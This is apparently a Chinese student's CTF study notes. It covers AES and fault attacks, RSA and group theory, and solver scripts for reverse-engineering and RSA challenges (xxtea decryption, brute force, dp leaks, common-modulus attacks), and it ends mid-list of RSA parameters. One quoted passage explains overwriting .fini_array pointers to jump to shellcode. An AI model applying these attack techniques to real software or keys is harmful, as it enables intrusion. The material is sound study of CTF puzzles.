另外就是smc部分我只写了解密,生成完后肯定是不能运行的还需要patch,写脚本来加密,实现起来也不难。Idc即可

1
2
3
4
5
6
7
8
9
10
11
12
#include <idc.idc>
static main()
{
auto addr = 0x0040166A;
auto i = 0;
auto temp;
for(i=0;addr+i<0x00401738;i++)
{
temp = ((Byte(addr+i)>>4)|(Byte(addr+i)<<4))&0xff;
PatchByte(addr+i,temp^0x34);
}
}

关于check部分一开始check了格式//事实上是多次一举,后面tea后又check了全部flag
还有就是strlen函数我发现有一个很不好的地方
套用在for循环中时,每一次都会check一次strlen,这样就出现一个问题,就是当tea后密文出现0,这样strlen就会被有差错,当初我设定的flag时nctf…然后加密一轮后出现0,直接不加密了,时间问题没有好好优化就把开头改成了NCTF,其实改成24就行,毕竟前面已经限制了长度必须为24
还有就是花指令部分
主要出现了俩种花指令,一种是栈指针还有一种是jmp的。
反调试部分我才用使用汇编来写,这样的话ida不会反编译出函数,比如antidebug2其实就是isdebuggerpresent而Ida并不会识别出该函数。
smc部分我采用了double_smc,这样就不能通过data xref来追踪。但是意义不大。。。熟练的人一下就能看出,smc部分出现的anti_debug,下面printf一句debug everyday可以一下看出这是反调试函数,但是如果不仔细逆向直接把该函数patch的话到change函数就直接exit了,里面紧跟着的又是一个反调试并把之前保存在exit的值重新赋给change开头

AES

面向字节的密码
state:4*4矩阵(key 128位,列数为6/8当key为192或256时)

addroundkey

状态矩阵与子密钥xor

密钥编排

state每列四个进行操作
第四列(key4) key5 =(key4)rotword —> subbytes —> xor key1
key5 —> xor key2
。。。
每四次一次rotworld subbytes

subbytes

s_box s_box-1 互逆
对应取值为在GF(2m)中的逆元经过仿射后的值
比如c2逆元为2f经过仿射后为25就是S(C2)的值
S(A)=B
非线性:S(A+B) != S(A)+S(B)

扩散层

将单个位的影响扩散到整个状态,且都为线性操作
也是fault的写法

shiftrows

将状态的每行左移
第一行不变
第二行移1
第三行2
第四行3
不改变值

mixcolumn

和固定矩阵相乘,扩大字节影响范围。
具体乘法实现是在GF(2^8)中实现的

逆向mixcolumn

乘上在伽罗瓦域上的互逆矩阵

逆向shiftrow

可以理解为rightrow

逆向subbytes

sbox逆操作先仿射变换逆然后求解逆元即可

AES_DFA

例子:round9
在最后一轮mixcol之前出现了单字节fault
经过mix和shift等操作影响到四个字节
和正确密文xor得出表达式可进行约束求解
对于aes128需要每列俩个fault数据,足够可约束出key10的4个byte
所以总共需要8组fault数据和一组正确密文
这样就能够求出key10
然后就能反推密钥编排求出key

XCTF-FINAL 2019 FAULT

33
可以看到aes这部分出现了一个很明显的问题
再最后俩次mc之前有一次xor
这样就会产生fault
经过俩次俩次mcfault影响到16字节
v8是0,但是可以通过利用溢出来修改
获取俩组错误密文和一组正确明文就可以求解出key10
然后key就可以求出来了
看了下其他队伍的wp发现貌似还有其他的写法。。。
直接利用printf打出来那种。。。
哎。。。太菜了
学了波数学算是搞懂原理了

RSA加密与解密

平方乘法

快速计算指数的方法
指数用二进制表示
初始化平方
如果为1
平方后mul
如果为0
直接平方
原理其实就是在逐位复现二进制

中国剩余定理

没怎么看懂。。。
但是百度了下发现是求解同余方程的

寻找大素数

费马素性检测

用费马定理推,不满足则为合数
满足则可能为素数
//特例是卡迈尔克数

Miller-Rabin素性测试

p = 2^x * r
a^r = p-1
a(rand) // count = s

Diffie-Hellman密钥交换

选择大素数p与整数a
p作为模数
甲方选择key1
乙方选择key2
a^key1 mod p -> 乙方
b^key2 mod p -> 甲方
然后再一次的指数运算
这样双方的值就相同,即是传输的key

代数知识

群指一个元素集合G以及联合G内两个元素的操作o的集合。
1.群操作o是封闭的,对于ab in G ,aob in G始终成立
2.群操作可结合
3.存在一个元素1 in G,对所有的a in G均满足ao1=1oa=a,这个元素称为中性元或单位元
4.对每个元素a in G,存在一个元素a-1 in G,满足aoa-1=a-1oa=1,则a-1称为a的逆元
5.对所有的a,b in G 都额外满足aob=boa,则群G称为阿贝尔群或可交换群。

元素的阶

a^k = 1 mod n
k为阶

循环群

有限群

一个群是有限的仅当他拥有有限个元素群G的阶或基可以表示为|G|
Zn,+的基为n
Zn,·的基为n的欧拉函数,Zn是由小于n且与n互素的正整数的集合

元素的阶

a^k=1 k为阶

循环群

群G包含一个有拥有最大阶的a=|G|,就是循环群,a为原根(本原元)或生成元

对于每个素数p Zp都是一个阿贝尔有限循环群
有限循环群G的本原元的个数为|G|的欧拉函数
|G|为素数时,a!=1的元素都是本原元

子群

(G,o)是个循环群,则G内每一个满足ord(a)=s的元素a都是拥有s个元素的循环子群的本原元

拉格朗日定理

假设H为G的一个子群,则|H|可以整除|G|。

//todo

基本协议

Bob公开keypub 对消息x进行哈希函数生成z,然后用keypri对z进行签名为s,收方Alice验证s解密后是否为z即可。

哈希函数的安全要求

1.抗第一原像性(单向性)
2.抗第二原像性(弱抗冲突性)
3.抗冲突性(强抗冲突性)

弱抗冲突性

鸽笼原理证明了弱抗冲突性对于哈希函数来说必存在。所以需要满足的条件就是正向容易逆向难,给定x1与其对应的哈希不能找到消息x2生成同样的哈希

强抗冲突性与生日攻击

生日攻击简介:
至少出现多少人才会出现生日冲突概率大于1/2
答案是23个
不冲突概率为(1-1/365)(1-2/365)。。。
用1-该值即可
当40人时,冲突概率达到90%
生日攻击是对所有哈希函数的通用攻击,该攻击的存在决定了哈希函数的输出位数至少为128位
测试数据至少约为2^(n/2)
n为位数
对于主流哈希函数还有更快的攻击就是数学冲突攻击

哈希函数概述

专用哈希函数MD4家族

主要指转为哈希函数而专门设计的算法

对称密码学与非对称密码学

对称密码学

存在问题
1.密钥的分配
因为信道不安全
2.密钥的个数
对于一个很大的网络需要存储的密钥有很多对
3.不可实现不可否认性

非对称密码学

key分为公钥与私钥
公钥公开,用户用公钥加密数据后,收方可用私钥来解密
具体的实现需要一个单向函数
准确来说就是逆运算即使用已知的最好的算法也需要花费很长的时间,但是正向运算足够快。
目前来说满足的只有大整数分解问题,离散对数问题还有椭圆曲线。

数学知识

欧几里得算法

gcd(最大公约数)
求解最大公约数通过mod迭代直到为0即可求得最大公约数

扩展欧几里得算法

在欧几里得算法的基础上将最大公约数以线性的方式表示
求解逆元
逆元存在条件当且仅当gcd=1即互素
求解a mod b的逆元可用EEA表示gcd
然后对应a的系数就是逆元

欧拉函数

相应环内与之互素的个数
如果m可因式分解那么就有公式可以套用

费马小定理与欧拉定理

费马小定理
a为整数p为素数
则a^p = a(mod p)//a的p次方
推广到整数就是欧拉定理//使用条件是a与m互素
a^o(m)=1modm
费马小定理就是欧拉的特殊情况//当p为素数时

基于分组密码的哈希函数

输入分组进入压缩函数迭代
输出为最后一轮压缩函数的输出
// Merkle-Damgard结构

红帽杯

re1

题目名称是xx
可以想到是xxtea
首先程序检查输入长度是否为19然后进行一次xxtea加密
34
加密的key是输入的前四个字符
然后有一个换位xor的操作逆过来整一下就行了
35

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*- coding: UTF-8 -*-
import xxtea
a = [0xCE, 0xBC, 0x40, 0x6B, 0x7C, 0x3A, 0x95, 0xC0, 0xEF, 0x9B,
0x20, 0x20, 0x91, 0xF7, 0x02, 0x35, 0x23, 0x18, 0x02, 0xC8,
0xE7, 0x56, 0x56, 0xFA]
C = [0]*24
for i in range(len(a)-1,2,-1):
for j in range(i/3):
a[i] ^= a[j]
for i in range(len(a)):
C[i] = a[i]
encrypt_data = ''
A = [1,2,3,4,5,6,7,8,9,0xA,0xB,0xC,0xD,0xE,0xF,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18]
B = [3,1,4,2,7,5,8,6,0xB,9,0xC,0xA,0xF,0xD,0x10,0xE,0x13,0x11,0x14,0x12,0x17,0x15,0x18,0x16]
#C = [0xce,0xbc,0x40,0xa5,0xb2,0xf4,0xe7,0xb2,0x9d,0xa9,0x12,0x12,0xc8,0xae,0x5b,0x10,0x06,0x3d,0x1d,0xd7,0xf8,0xdc,0xdc,0x70]
for i in range(len(A)):
for j in range(len(A)):
if B[j] == A[i]:
#print hex(C[j])
encrypt_data += chr(C[j])
break
key = 'flag'
decrypt_data = xxtea.decrypt(encrypt_data, key)
print decrypt_data
#flag{CXX_and_++tea}

re2

没怎么逆
看的时候听学长说貌似要看sub_400D35函数
当时没多想点进去看了下就是个xor
和key
36
看了下发现还是猜
第一个xor后为f
第四个为g
那不很明显flag吗
猜一下然后xor就行了

1
2
3
4
5
6
7
8
9
a = [0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F,
0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E,
0x72, 0x3C, 0x32, 0x45, 0x5B]
b = 'flag'
flag = ''
for i in range(len(a)):
flag += chr(a[i]^(a[i%4]^ord(b[i%4])))
print flag
#flag{Act1ve_Defen5e_Test}

后来仔细看了下一开始对你输入进行了xor i比较
解一下

1
2
3
4
5
6
7
8
9
a = [ 0x49, 0x6F, 0x64, 0x6C, 0x3E, 0x51, 0x6E, 0x62, 0x28, 0x6F,
0x63, 0x79, 0x7F, 0x79, 0x2E, 0x69, 0x7F, 0x64, 0x60, 0x33,
0x77, 0x7D, 0x77, 0x65, 0x6B, 0x39, 0x7B, 0x69, 0x79, 0x3D,
0x7E, 0x79, 0x4C, 0x40, 0x45, 0x43]
flag = ''
for i in range(len(a)):
flag += chr(a[i]^i)
print flag
#Info:The first four chars are `flag`

然后又一次输入
对第二次输入进行一堆base64解密
直接比较
发现为
https://bbs.pediy.com/thread-254172.htm
然后就没了????????????
在sub_400D35下断点发现断下来了
看来还是会跑过去
但是与输入无关。。。和时间相关

1
大多数可执行文件是通过链接 libc 来进行编译的,因此 gcc 会将 glibc 初始化代码放入编译好的可执行文件和共享库中。 .init_array.fini_array 节(早期版本被称为 .ctors.dtors )中存放了指向初始化代码和终止代码的函数指针。 .init_array 函数指针会在 main() 函数调用之前触发。这就意味着,可以通过重写某个指向正确地址的指针来将控制流指向病毒或者寄生代码。 .fini_array 函数指针在 main() 函数执行完之后才被触发,在某些场景下这一点会非常有用。例如,特定的堆溢出漏(如曾经的 http://phrack.org/issues/57/9.html )会允许攻击者在任意位置写4个字节,攻击者通常会使用一个指向 shellcode 地址的函数指针来重写.fini_array 函数指针。对于大多数病毒或者恶意软件作者来说, .init_array 函数指针是最常被攻击的目标,因为它通常可以使得寄生代码在程序的其他部分执行之前就能够先运行。

最后发现是这个考点。。。
打pwn的肯定知道

re3

三次输入
中间有sleep直接给patch了
先对输入进行了平方 FF0是pow函数
然后是乘4 A90是mul函数
然后对第二个输入
乘3
平方
对第三个输入
他先用7 * input3
然后result**input3
我佛了
下面是对输入的判断
input2<input1<input3 //应该是这个,没有仔细看
然后对三个输入之间进行一些蛇皮操作后就来最终check了
对了就有flag
//check大小完后的操作
550函数为add
7E0函数为del

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//我输入是 222 123 321
a = mul(3,input1)
b = mul(a,input1) //147852
c = mul(b,input2) //18185796
pow(input2,2) //15129

a = mul(3,input1) //666
b1 = mul(a,input2) //input2已经平方 10075914
a = add(a,b1) //10076580
a = add(input1,input2)
b2 = pow(a,3) //41063625
b3 = del(b2,b1) //30987711
temp0 = del(b3,c) //12801915


a = mul(48,input3) //15408
b = mul(12,input3) //3852
c = mul(b,input3) //1236492
d = add(4,input3) //325
x = pow(d,3) //34328125
temp1 = del(x,c) //33091633
temp2 = del(temp1,a) //33076225
temp3 = del(temp2,22) //33076203
if(temp3==temp0
cat flag

最终化简是x*3+y3 = z**3+42
https://www.sciencealert.com/the-sum-of-three-cubes-problem-has-been-solved-for-42
google即可发现答案

re4

主要函数是
UnDecorateSymbolName(v5, outputString, 0x100u, 0);
反修饰
下面的验证直接爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <time.h>


int main()
{
unsigned char a[] = {0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30,
0x2D, 0x3D, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A,
0x28, 0x29, 0x5F, 0x2B, 0x71, 0x77, 0x65, 0x72, 0x74, 0x79,
0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x51, 0x57, 0x45, 0x52,
0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x41,
0x53, 0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22,
0x5A, 0x58, 0x43, 0x56, 0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F,
0x7A, 0x78, 0x63, 0x76, 0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F,
0x00};
unsigned char b[] = "55565653255552225565565555243466334653663544426565555525555222";
unsigned char c[] = "(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&";
int i,temp;
for(i=0;i<64;i++)
{
for(temp=32;temp<=125;temp++)
{
if(a[temp%23]==c[i] && a[temp/23] == b[i])
{
printf("%c",temp);
break;
}
}
}
return 0;
}

private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)
发现反修饰后应该如上
下面就是修饰了。。。
只能百度一波来自学
发现为?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z
置换一下

1
2
3
4
5
6
7
8
9
10
A = [11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41]
B = [26,27,18,28,29,19,14,30,31,20,32,33,21,15,12,34,35,22,36,37,23,16,38,39,24,40,41,25,17,13,11]
c = '?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z'
a = ''
for i in range(len(A)):
for j in range(len(A)):
if B[j] == A[i]:
a += c[j]
print a
#Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP

输入为
Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP

re5

unity逆向
又是游戏,当我看到这个的时候已经猜到了。。。
打开csharp的dll一顿乱翻然后要爆破什么sha1爆破sha256
结果。。。翻了一波dll感觉很正常是在实现程序流程
最后随便翻翻发现Interface.dll里面有点神奇的东西
可惜是c++写的看起来烦死。。。
不知道怎么调试,后来acd说可以用win自带的什么rundll32
可是佛说 不行
后来问了骑驴才知道可以写程序直接加载dll库调试…
后来看了大佬的博客发现更好的代码
上一波大佬的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include "iostream"
#include <Windows.h>
#include <stdio.h>
#include "stdafx.h"
#include "libloaderapi.h"
#include <stdlib.h>


int main(int argc, char* argv[])
{
const char* funcName = "GameObject";
HMODULE hDLL = LoadLibrary(L"Interface.dll");
if (hDLL != NULL)
{
printf("load succ\n");
typedef int(*funcptr)(int);
funcptr func = (funcptr)GetProcAddress(hDLL, funcName);
if (func != NULL)
{
signed int res = func(atoi(argv[1]));
printf("%d\n", res);

/*
for (int i = 0; i < 100; i++) {
signed int res = func(i);
printf("%d: %d\n", i, res);
}
*/
printf("have func\n");
}
else
{
printf("no func\n");
}
}
else
{
printf("load fail\n");
}


getchar();
return 0;
}

运行爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>
#include<stdlib.h>
#include<windows.h> // 必须包含 windows.h
typedef int (*FUNC)(unsigned int); // 指向函数的指针
int main(){
HINSTANCE dllDemo = LoadLibrary("Interface.dll");
FUNC GameObject;
if(dllDemo){
GameObject = (FUNADDR)GetProcAddress(dllDemo, "GameObject");
}else{
printf("Fail to load DLL!\n");
system("pause");
exit(1);
}
GameObject(0x65);
system("pause");
return 0;
}

上面的是骑驴的
适合普遍dll
可以进去调试
//貌似在逆核的dll注入那有类似代码
//当时调过,但是没怎么在意。。。现在学到了

虚拟机环境崩溃小记

以后我绝壁保存快照。。。
安装好虚拟机和vmware tools后
首先更新源
具体看下面链接
https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/
然后开始美化
下载unity-tweak-tool,可能会提示找不到。。。这就需要添加源了
添加源
sudo add-apt-repository ppa:noobslab/themes
sudo add-apt-repository ppa:noobslab/apps
sudo add-apt-repository ppa:docky-core/ppa
sudo apt-get update
sudo apt-get install unity-tweak-tool
然后安装dash-to-dock
https://extensions.gnome.org/
完事。。。各种比例啊美化整一下
差不多就完事了。。。工具什么略

密码学学习

RSA

题目已知

1
2
3
4
5
n=0xe708251f8e8b616121419de1369f44b4a92f9641b8270ae6c50cef2bb6548de7633176399640a553cc764ab02decfd4cbe45

c=0x58bd0290b41e567e9839a9cc70295107bb44a9e6a9b36ee2d36e19b01bf55083823b8983e02a8ea5b94facb221797babf72b

e=0x10001

用yafu分解n得到下
P1 = 1235542029039790988583258906107
P2 = 1235542029039790988583258906103
P3 = 1235542029039790988583258906163
P4 = 1235542029039790988583258906019

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>>> import gmpy2
>>> n=0xe708251f8e8b616121419de1369f44b4a92f9641b8270ae6c50cef2bb6548de7633176399640a553cc764ab02decfd4cbe45
>>>
>>> c=0x58bd0290b41e567e9839a9cc70295107bb44a9e6a9b36ee2d36e19b01bf55083823b8983e02a8ea5b94facb221797babf72b
>>>
>>> e=0x10001
>>> P1 = 1235542029039790988583258906107
>>> P2 = 1235542029039790988583258906103
>>> P3 = 1235542029039790988583258906163
>>> p4 = 1235542029039790988583258906019
>>> phi = (P1-1)*(P4-1)*(P3-1)*(P2-1)
>>> phi = (P1-1)*(p4-1)*(P3-1)*(P2-1)
>>> d = gmpy2.invert(e,phi)
>>> d
mpz(510086803712167852900754319229584716089112564397702829464421119022899788570515360220333901730802856685065338443789034993L)
>>> m = pow(c,d,n)
>>> print hex(m)[2:].decode('hex')
flag{2a0efd7734a07c6c430cfd04dfccdd94}
>>>

easyesa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import getPrime, inverse
flag = 'flag{a-z0-9}'
nbits = 2048
p = getPrime(nbits / 2)
q = getPrime(nbits / 2)
assert p != q
N = p * q
e = 0x10001
phiN = (p - 1) * (q - 1)
d = inverse(e, phiN)
phint = d % (p - 1)
qhint = q % (p - 1)


def str2int(s):
return int(s.encode('hex'), 16)


with open('pubkey.txt', 'w') as f:
f.write(str(e) + '\n')
f.write(str(N) + '\n')
f.write(str(phint) + '\n')
f.write(str(qhint) + '\n')

plain = str2int(flag)

c = pow(plain, e, N)
with open('cipher.txt', 'w') as f:
f.write(hex(c))

已知
e = 65537
n = 16969752165509132627630266968748854330340701692125427619559836488350298234735571480353078614975580378467355952333755313935516513773552163392952656321490268452556604858966899956242107008410558657924344295651939297328007932245741660910510032969527598266270511004857674534802203387399678231880894252328431133224653544948661283777645985028207609526654816645155558915197745062569124587412378716049814040670665079480055644873470756602993387261939566958806296599782943460141582045150971031211218617091283284118573714029266331227327398724265170352646794068702789645980810005549376399535110820052472419846801809110186557162127
dp = 1781625775291028870269685257521108090329543012728705467782546913951537642623621769246441122189948671374990946405164459867410646825591310622618379116284293794090970292165263334749393009999335413089903796624326168039618287078192646490488534062803960418790874890435529393047389228718835244370645215187358081805
qp = 10450978538445496868237560522155647855468044038637044818500580506745232482415364474390893285539835615564332910332708101539048528242011762736342572650763270501265440674647489375438852377280494520168349154604800218665628586180057648386859933274414030182106920793492451577530884172876623074281199949317487086975
c = 0x71512577b69cea3b42466100f3d5d50de95ab16971ad25d9204ff8df52bd52dafcd054d997ec3fe37d2590c2b0eebec172ec02fa62c35c62e39c89f1f5c51c869a5cc8083c1e76da430f26542a444a0295f52414118e47b72e9f370498cca3a69a1148c9433b97bc816dee45d12fec94f6aaf754273cfb19b0055d5b00630ba1b8a6b2b0a2abfd630d68b7a95e2ec45192e2ff229f893ea6ec7620677d4d8bd79f3dd420e0b2c0a26de37c700a3953c2094c4797bbbb47f72fdc1d8acac69b755d0caeb090885baf7b8e2ea4b36a41bea67477101b9706dedc338e076921c98c8ce2468ab48b14829241dbdfb8572a84714c798a29742b4176061efdf0320c86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> for i in range(1,65538):
... if (dp*e-1)%i == 0:
... if n%(((dp*e-1)//i)+1)==0:
... q = n//(((dp*e-1)//i)+1)
... p = (((dp*e-1)//i)+1)
... phi = (p-1)*(q-1)
... d = gmpy2.invert(e,phi)
... m=pow(c,d,n)
... print hex(m)[2:].decode('hex')
...
...
...
...
flag{cef4c0553ae4a3cd4da5aea6899669e3cbdec184}

其实很容易推出公式

RSA3

共模攻击板子
c1=22322035275663237041646893770451933509324701913484303338076210603542612758956262869640822486470121149424485571361007421293675516338822195280313794991136048140918842471219840263536338886250492682739436410013436651161720725855484866690084788721349555662019879081501113222996123305533009325964377798892703161521852805956811219563883312896330156298621674684353919547558127920925706842808914762199011054955816534977675267395009575347820387073483928425066536361482774892370969520740304287456555508933372782327506569010772537497541764311429052216291198932092617792645253901478910801592878203564861118912045464959832566051361
n=22708078815885011462462049064339185898712439277226831073457888403129378547350292420267016551819052430779004755846649044001024141485283286483130702616057274698473611149508798869706347501931583117632710700787228016480127677393649929530416598686027354216422565934459015161927613607902831542857977859612596282353679327773303727004407262197231586324599181983572622404590354084541788062262164510140605868122410388090174420147752408554129789760902300898046273909007852818474030770699647647363015102118956737673941354217692696044969695308506436573142565573487583507037356944848039864382339216266670673567488871508925311154801
e1=11187289
c2=18702010045187015556548691642394982835669262147230212731309938675226458555210425972429418449273410535387985931036711854265623905066805665751803269106880746769003478900791099590239513925449748814075904017471585572848473556490565450062664706449128415834787961947266259789785962922238701134079720414228414066193071495304612341052987455615930023536823801499269773357186087452747500840640419365011554421183037505653461286732740983702740822671148045619497667184586123657285604061875653909567822328914065337797733444640351518775487649819978262363617265797982843179630888729407238496650987720428708217115257989007867331698397
e2=9647291

1
2
3
4
5
6
7
8
9
10
>>> gcd, s, t = gmpy2.gcdext(e1, e2)
>>> if s < 0:
... s = -s
... c1 = gmpy2.invert(c1, n)
... elif t < 0:
... t = -t
... c2 = gmpy2.invert(c2, n)
>>> plain = pow(c1, s, n) * pow(c2, t, n) % n
>>> print hex(plain)[2:].decode('hex')
flag{49d91077a1abcb14f1a9d546c80be9ef}

RSA2

e = 65537
n = 248254007851526241177721526698901802985832766176221609612258877371620580060433101538328030305219918697643619814200930679612109885533801335348445023751670478437073055544724280684733298051599167660303645183146161497485358633681492129668802402065797789905550489547645118787266601929429724133167768465309665906113
dp = 905074498052346904643025132879518330691925174573054004621877253318682675055421970943552016695528560364834446303196939207056642927148093290374440210503657

c = 140423670976252696807533673586209400575664282100684119784203527124521188996403826597436883766041879067494280957410201958935737360380801845453829293997433414188838725751796261702622028587211560353362847191060306578510511380965162133472698713063592621028959167072781482562673683090590521214218071160287665180751
和上面某题一模一样的写法啊

1
2
3
4
5
6
7
8
9
10
>>> for i in range(1,65538):
... if (e*dp-1)%i==0:
... if n%((e*dp-1)//i+1)==0:
... p = (e*dp-1)//i+1
... q = n//p
>>> phi = (p-1)*(q-1)
>>> d = gmpy2.invert(e,phi)
>>> m = pow(c,d,n)
>>> print hex(m)[2:].decode('hex')
flag{wow_leaking_dp_breaks_rsa?_98924743502}

RSA1

p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852
中国剩余定理
推出公式来解决

1
2
3
4
5
6
7
import gmpy2
def decrypt(dp,dq,p,q,c):
InvQ = gmpy2.invert(q, p)
mp = pow(c, dp, p)
mq = pow(c, dq, q)
m = (((mp-mq)*InvQ) % p)*q+mq
print hex(m)[2:].decode('hex')

直接用现成轮子

RSA5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
m = xxxxxxxx
e = 65537
========== n c ==========
n = 20474918894051778533305262345601880928088284471121823754049725354072477155873778848055073843345820697886641086842612486541250183965966001591342031562953561793332341641334302847996108417466360688139866505179689516589305636902137210185624650854906780037204412206309949199080005576922775773722438863762117750429327585792093447423980002401200613302943834212820909269713876683465817369158585822294675056978970612202885426436071950214538262921077409076160417436699836138801162621314845608796870206834704116707763169847387223307828908570944984416973019427529790029089766264949078038669523465243837675263858062854739083634207
c = 974463908243330865728978769213595400782053398596897741316275722596415018912929508637393850919224969271766388710025195039896961956062895570062146947736340342927974992616678893372744261954172873490878805483241196345881721164078651156067119957816422768524442025688079462656755605982104174001635345874022133045402344010045961111720151990412034477755851802769069309069018738541854130183692204758761427121279982002993939745343695671900015296790637464880337375511536424796890996526681200633086841036320395847725935744757993013352804650575068136129295591306569213300156333650910795946800820067494143364885842896291126137320

n = 20918819960648891349438263046954902210959146407860980742165930253781318759285692492511475263234242002509419079545644051755251311392635763412553499744506421566074721268822337321637265942226790343839856182100575539845358877493718334237585821263388181126545189723429262149630651289446553402190531135520836104217160268349688525168375213462570213612845898989694324269410202496871688649978370284661017399056903931840656757330859626183773396574056413017367606446540199973155630466239453637232936904063706551160650295031273385619470740593510267285957905801566362502262757750629162937373721291789527659531499435235261620309759
c = 15819636201971185538694880505120469332582151856714070824521803121848292387556864177196229718923770810072104155432038682511434979353089791861087415144087855679134383396897817458726543883093567600325204596156649305930352575274039425470836355002691145864435755333821133969266951545158052745938252574301327696822347115053614052423028835532509220641378760800693351542633860702225772638930501021571415907348128269681224178300248272689705308911282208685459668200507057183420662959113956077584781737983254788703048275698921427029884282557468334399677849962342196140864403989162117738206246183665814938783122909930082802031855

n = 25033254625906757272369609119214202033162128625171246436639570615263949157363273213121556825878737923265290579551873824374870957467163989542063489416636713654642486717219231225074115269684119428086352535471683359486248203644461465935500517901513233739152882943010177276545128308412934555830087776128355125932914846459470221102007666912211992310538890654396487111705385730502843589727289829692152177134753098649781412247065660637826282055169991824099110916576856188876975621376606634258927784025787142263367152947108720757222446686415627479703666031871635656314282727051189190889008763055811680040315277078928068816491
c = 4185308529416874005831230781014092407198451385955677399668501833902623478395669279404883990725184332709152443372583701076198786635291739356770857286702107156730020004358955622511061410661058982622055199736820808203841446796305284394651714430918690389486920560834672316158146453183789412140939029029324756035358081754426645160033262924330248675216108270980157049705488620263485129480952814764002865280019185127662449318324279383277766416258142275143923532168798413011028271543085249029048997452212503111742302302065401051458066585395360468447460658672952851643547193822775218387853623453638025492389122204507555908862

n = 21206968097314131007183427944486801953583151151443627943113736996776787181111063957960698092696800555044199156765677935373149598221184792286812213294617749834607696302116136745662816658117055427803315230042700695125718401646810484873064775005221089174056824724922160855810527236751389605017579545235876864998419873065217294820244730785120525126565815560229001887622837549118168081685183371092395128598125004730268910276024806808565802081366898904032509920453785997056150497645234925528883879419642189109649009132381586673390027614766605038951015853086721168018787523459264932165046816881682774229243688581614306480751
c = 4521038011044758441891128468467233088493885750850588985708519911154778090597136126150289041893454126674468141393472662337350361712212694867311622970440707727941113263832357173141775855227973742571088974593476302084111770625764222838366277559560887042948859892138551472680654517814916609279748365580610712259856677740518477086531592233107175470068291903607505799432931989663707477017904611426213770238397005743730386080031955694158466558475599751940245039167629126576784024482348452868313417471542956778285567779435940267140679906686531862467627238401003459101637191297209422470388121802536569761414457618258343550613

n = 22822039733049388110936778173014765663663303811791283234361230649775805923902173438553927805407463106104699773994158375704033093471761387799852168337898526980521753614307899669015931387819927421875316304591521901592823814417756447695701045846773508629371397013053684553042185725059996791532391626429712416994990889693732805181947970071429309599614973772736556299404246424791660679253884940021728846906344198854779191951739719342908761330661910477119933428550774242910420952496929605686154799487839923424336353747442153571678064520763149793294360787821751703543288696726923909670396821551053048035619499706391118145067
c = 15406498580761780108625891878008526815145372096234083936681442225155097299264808624358826686906535594853622687379268969468433072388149786607395396424104318820879443743112358706546753935215756078345959375299650718555759698887852318017597503074317356745122514481807843745626429797861463012940172797612589031686718185390345389295851075279278516147076602270178540690147808314172798987497259330037810328523464851895621851859027823681655934104713689539848047163088666896473665500158179046196538210778897730209572708430067658411755959866033531700460551556380993982706171848970460224304996455600503982223448904878212849412357

n = 21574139855341432908474064784318462018475296809327285532337706940126942575349507668289214078026102682252713757703081553093108823214063791518482289846780197329821139507974763780260290309600884920811959842925540583967085670848765317877441480914852329276375776405689784571404635852204097622600656222714808541872252335877037561388406257181715278766652824786376262249274960467193961956690974853679795249158751078422296580367506219719738762159965958877806187461070689071290948181949561254144310776943334859775121650186245846031720507944987838489723127897223416802436021278671237227993686791944711422345000479751187704426369
